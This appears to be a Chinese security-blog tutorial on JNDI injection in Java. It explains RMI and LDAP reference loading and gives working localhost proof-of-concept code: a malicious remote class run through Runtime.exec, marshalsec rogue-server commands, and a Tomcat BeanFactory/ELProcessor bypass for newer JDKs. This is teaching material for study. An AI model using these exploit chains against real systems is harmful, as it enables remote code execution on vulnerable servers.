JNDI注入
2023-5-6 12:2:29 Author: 白帽子左一(查看原文) 阅读量:27 收藏

扫码领资料

获网安教程

免费&进群

什么是 JNDI 展开目录

JNDI 是 Java Naming and Directory Interface(JAVA 命名和目录接口)的英文简写,它是为 JAVA 应用程序提供命名和目录访问服务的 API(Application Programing Interface,应用程序编程接口)。

JNDI 结构开目录

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferenceslookup 等。javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;javax.naming.event:在命名目录服务器中请求事件通知;javax.naming.ldap:提供LDAP支持;javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

命名的概念展开目录

JNDI 中的命名(Naming),就是将 Java 对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的 Java 对象。容器环境(Context)本身也是一个 Java 对象,它也可以通过一个名称绑定到另一个容器环境(Context)中。

JDK 默认可供调用的服务:RMI,LDAP,DNS,CORBA

重点类介绍展开目录

InitialContext

构造方法

//构建一个初始上下文。InitialContext() //构造一个初始上下文,并选择不初始化它。InitialContext(boolean lazy) //使用提供的环境构建初始上下文。InitialContext(Hashtable<?,?> environment)

常用方法

//将名称绑定到对象。 bind(Name name, Object obj) //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。list(String name) //检索命名对象。lookup(String name)  //将名称绑定到对象,覆盖任何现有绑定。rebind(String name, Object obj) //取消绑定命名对象。unbind(String name)

Reference 类

构造方法

//为类名为“className”的对象构造一个新的引用。Reference(String className) //为类名为“className”的对象和地址构造一个新引用。 Reference(String className, RefAddr addr) //为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 Reference(String className, RefAddr addr, String factory, String factoryLocation) //为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  Reference(String className, String factory, String factoryLocation)/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/

常用方法

//将地址添加到索引posn的地址列表中。void add(int posn, RefAddr addr) //将地址添加到地址列表的末尾。 void add(RefAddr addr) //从此引用中删除所有地址。  void clear() //检索索引posn上的地址。 RefAddr get(int posn) //检索地址类型为“addrType”的第一个地址。RefAddr get(String addrType) //检索本参考文献中地址的列举。 Enumeration<RefAddr> getAll() //检索引用引用的对象的类名。 String getClassName() //检索此引用引用的对象的工厂位置。  String getFactoryClassLocation() //检索此引用引用对象的工厂的类名。 String getFactoryClassName() //从地址列表中删除索引posn上的地址。    Object remove(int posn) //检索此引用中的地址数。 int size() //生成此引用的字符串表示形式。String toString()

这是低版本的 JNDI 注入原理,当使用 lookup () 方法查找对象时,Reference 将使用提供的 ObjectFactory 类的加载地址来加载 ObjectFactory 类,ObjectFactory 类将构造出需要的对象。

RMI 实现 JNDI 注入展开目录

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 服务加载恶意的对象,从而执行代码,完成攻击 RMI 的客户端。
首先我们还是得写一个简单的 RMI
远程类:

import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;
interface RmiInterface extends Remote { public String RmiHello() throws RemoteException;}public class RmoteCLass extends UnicastRemoteObject implements RmiInterface { protected RmoteCLass() throws RemoteException { super(); } public String RmiHello() throws RemoteException { return "hello world"; }}

服务端:

import javax.naming.InitialContext;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.RemoteException;
public class JindiServer { public static void main(String[] args) throws NamingException, RemoteException { InitialContext initialContext = new InitialContext(); Reference reference = new Reference("Evilclass","Evilclass","http://127.0.0.1:7777/"); initialContext.rebind("rmi://127.0.0.1:1099/Rmi",reference); }}

即把 http://127.0.0.1:7777/Evilclass.class 这个类绑定到了 127.0.0.1:1099/Rmi 这个名字上

客户端:

import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RemoteException;
public class Jindiclient { public static void main(String[] args) throws NamingExceptionRemoteException { InitialContext initialContext = new InitialContext(); RmiInterface lookup = (RmiInterface)initialContext.lookup("rmi://127.0.0.1:1099/Rmi"); System.out.println(lookup.RmiHello()); }}

恶意类

import java.io.IOException;
public class Evilclass { public Evilclass() throws IOException { Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }}

然后 python 起一个 http 服务

这种方式攻击的是 RMI 的客户端,然后我们来进一步调试
跟进 lookup

然后 getURLOrDefaultInitCtx 方法会根据传入的标识来返回一个 URL 上下文,然后调用了另一个 lookup 方法,现在跟进 getURLOrDefaultInitCtx

里面的 getURLSchema 会根据标识名称获取对应的协议,这里是 rmi,接着如果不为空就调用 getURLContext 来获取 rmi 协议对象,所以简单来说,getURLOrDefaultInitCtx 就是用来获取 rmiURLContext 的,然后进入到它对应的 GenericURLContext 类里,进行 lookup 的调用:

里面的 getRootURLContext 方法会根据 rmi 协议去获取一个 ResolveResult 对象,这个对象里有两个元素:RMI 注册中心对象和 RMI 远程调用对象的名称,getResolvedObj 会从 ResolveResult 对象里获取到 RMI 注册中心对象,而 getRemainingName 则是从 ResolveResult 对象中获取到 RMI 远程调用对象的名称。
然后是 var3.lookup,也就是说是 RMI 注册中心来调用 lookup 方法,从而获取到 RMI 远程调用对象的名称
跟进 RMI 注册中心的 lookup 方法

这一步才是真正意义的调用 RMI 注册中心的 lookup 方法,RMI 注册中心会根据传入的 RMI 远程调用对象的名称来查找对应的 RMI 远程调用对象的引用,var2 = this.registry.lookup (var1.get (0)); 这一句即表明 RMI 客户端会与注册中心通信,返回 RMI 服务地址、IP 等信息,接下来跟进 decodeObject 方法

其中 Object var3 = var1 instanceof RemoteReference ?((RemoteReference) var1).getReference () : var1; 这段代码说明,如果是 Reference 对象,则会进入 getReference () 方法,从而与 RMI 服务器进行一次连接,拿到远程 class 文件地址;但如果是普通对象,则这里不会进行连接,只有等到正式调用远程函数的时候才会连接 RMI 服务。

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,Hashtable<?,?> environment) throws Exception{  ObjectFactory factory;  // Use builder if installed  ObjectFactoryBuilder builder = getObjectFactoryBuilder();  if (builder != null) {    // builder must return non-null factory    factory = builder.createObjectFactory(refInfo, environment);    return factory.getObjectInstance(refInfo, name, nameCtx,environment);  }
// Use reference if possible Reference ref = null; if (refInfo instanceof Reference) { ref = (Reference) refInfo;else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null) { String f = ref.getFactoryClassName(); if (f != null) { // if reference identifies a factory, use exclusively factory = getObjectFactoryFromReference(ref, f); if (factory != null) {   return factory.getObjectInstance(ref, name, nameCtx,environment); } // No factory found, so return original refInfo. // Will reach this point if factory class is not in // class path and reference does not contain a URL for it return refInfo;else { // if reference has no factory, check for addresses // containing URLs answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null) { return answer; } }}

即会先在本地加载工厂类 Evilclass,如果 loadClass 没有在本地找到该类,则它会调用 getFactoryClassLocation 来获取远程 URL 地址,如果获取到的不为空,则这段代码:clas = helper.loadClass (factoryName, codebase); 会直接根据远程 URL 地址使用类加载器 URLClassLoader 来加载 Evilclass 类,最后的 return (clas != null) ? (ObjectFactory) clas.newInstance () : null; 会实例化之前的恶意 Evilclass 类文件,而实例化会默认调用构造方法、静态代码块,所以这就可以成功完成整条链子的任意代码执行
简单总结一下:

在 JNDI 服务里,RMI 服务端既可以直接绑定远程对象,也可以通过 Reference 来绑定一个外部的远程对象,
当这个恶意的 Reference 对象绑定到 RMI 注册中心,且经过一系列的判断之后,RMI 服务端就会通过 getReference() 方法来获取绑定对象的引用,
然后当客户端通过 lookup 方法查找远程对象时,便会拿到相应的工厂类,最后就是进行实例化执行任意代码了

使用工具一健起恶意的 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:7777/#Evilclass 1099

然后我们回过头看之前的 com/sun/naming/internal/VersionHelper.java#loadClass 的代码:

public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException {  ClassLoader parent = getContextClassLoader();  ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent);  return loadClass(className, cl);}

这个地方用 URLClassLoader 来进行的远程动态类加载,实际上这种利用方式 java 在 JDK 6U132、7U122、8U113 等中做了限制:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了 false,需要手动设定为 ture 才能成功,不然就会报错,报错信息如下:

很多版本修复 rmi 这个问题时,并没有修复 ldap 的

LDAP 实现 NDI 注入展开目录

LDAP

LDAP(Lightweight Directory Access Protocol)- 轻量目录访问协议。但看了这个解释等于没说,其实也就是一个数据库,可以把它与 mysql 对比!
具有以下特点:

基于TCP/IP协议
同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作相对于mysql的表型存储;不同的是LDAP使用树型存储因为树型存储,读性能佳,写性能差,没有事务处理、回滚功能。

树层次分为以下几层:

dn:一条记录的详细位置,由以下几种属性组成dc: 一条记录所属区域ou:一条记录所处的分叉cn/uid:一条记录的名字/ID

我们这里依然是工具起一个 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/\#Evilclass 1099

然后我们的客户端

import javax.naming.InitialContext;import javax.naming.NamingException;
public class Ldapclient { public static void main(String[] args) throws NamingException{ String url = "ldap://127.0.0.1:7777/Evilclass"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }}

其实和 RMI 是大差不差的,简单分析一下
前面的流程都差不多,到 decodeObject 函数

这个时候其实已经将我们引用进行了解封装,已经得到我们的 Evilclass 类了
真正进行实例化是在后面

return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);

然后具体的自己再去跟一下就知道流程了,这个只算是 jdk 版本的绕过方式

具体有两种方法

  1. 加载本地类

  2. 反序列化

利用加载本地类绕过高版本 java 限制展开目录

其实高版本的 jdk 我们还是可以到引用的封装这一步的,但是后续的远程类加载不行了,此时如果利用的是类是存在于 CLASSPATH 中的,那么在经过 javax.naming.spi.NamingManager#getObjectFactoryFromReference 时便会先在本地 CLASSPATH 里寻找是否存在该类,如果没有,则再总远程寻找,所以这就可以绕过版本限制。
在找本地可利用类时,由于之前 javax.naming.spi.NamingManager#getObjectFactoryFromReference 最后的 return 语句存在类型转型,所以这个工厂类必须要实现 javax.naming.spi.ObjectFactory 接口;并且还要至少有个 getObjectInstance () 方法。
安全人员找到了 org.apache.naming.factory.BeanFactory,且这个类存在于 Tomcat 的依赖里,所以应用很广泛。

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>8.5.0</version></dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-jasper-el</artifactId><version>9.0.7</version></dependency>

    服务端

    import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;
    public class JindiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099);  ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",(String)null""""true"org.apache.naming.factory.BeanFactory",(String)null); resourceRef.add(new StringRefAddr("forceString""x=eval")); resourceRef.add(new StringRefAddr("x""Runtime.getRuntime().exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\")")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("evil", referenceWrapper); }}

    客户端

    import javax.naming.InitialContext;
    public class Jindiclient { public static void main(String[] args) throws Exception{ InitialContext initialContext = new InitialContext(); initialContext.lookup("rmi://127.0.0.1:1099/evil"); }}

    然后我们简单来看一下,前面都差不多,然后调用到 decodeObject

    最终会获得工厂类

    这个工厂类就是 BeanFactory,然后会调用他的 getObjectInstance 方法
    这个方法里面就是反射调用造成的危害

    根据我们的构造 bean 又是 ELProcessor 类,最后执行是因为 javax.el.ELProcessor#eval 方,这就是常见的 EL 表达式的利用了,从而达到绕过的效果。

    利用反序列化绕过高版本 java 限制展开目录

    既然是要反序列化,那么前提必然是要有可利用的 Gadgets 才行,也即是表明目标环境必须要存在 Gadgets 所需的一些包(如 Commons-Collections-3.2.1 等),我们需要找方法触发反序列化,LDAP 有一个特殊的字段 javaSerializedData,只要设置了它便会给 Client 端返回序列化串然后被反序列化

    跟着看了看,不想复现了,具体可以看:https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

    JNDI注入防御手法

    升级jdk版本

    来源:http://blog.m1kael.cn/index.php/archives/833/

    声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

    @
    学习更多渗透技能!体验靶场实战练习

    hack视频资料及工具

    (部分展示)

    往期推荐

    【精选】SRC快速入门+上分小秘籍+实战指南

    爬取免费代理,拥有自己的代理池

    漏洞挖掘|密码找回中的套路

    渗透测试岗位面试题(重点:渗透思路)

    漏洞挖掘 | 通用型漏洞挖掘思路技巧

    干货|列了几种均能过安全狗的方法!

    一名大学生的黑客成长史到入狱的自述

    攻防演练|红队手段之将蓝队逼到关站!

    巧用FOFA挖到你的第一个漏洞

    看到这里了,点个“赞”、“再看”吧

    文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247594469&idx=1&sn=1b1de8e59110506c7d25780bc406cc2c&chksm=ebeb38c8dc9cb1de1b8f99f53edeaaf464eaf145be77f1bb103360e1e6352f116574e6cb79dc#rd
    如有侵权请联系:admin#unsafe.sh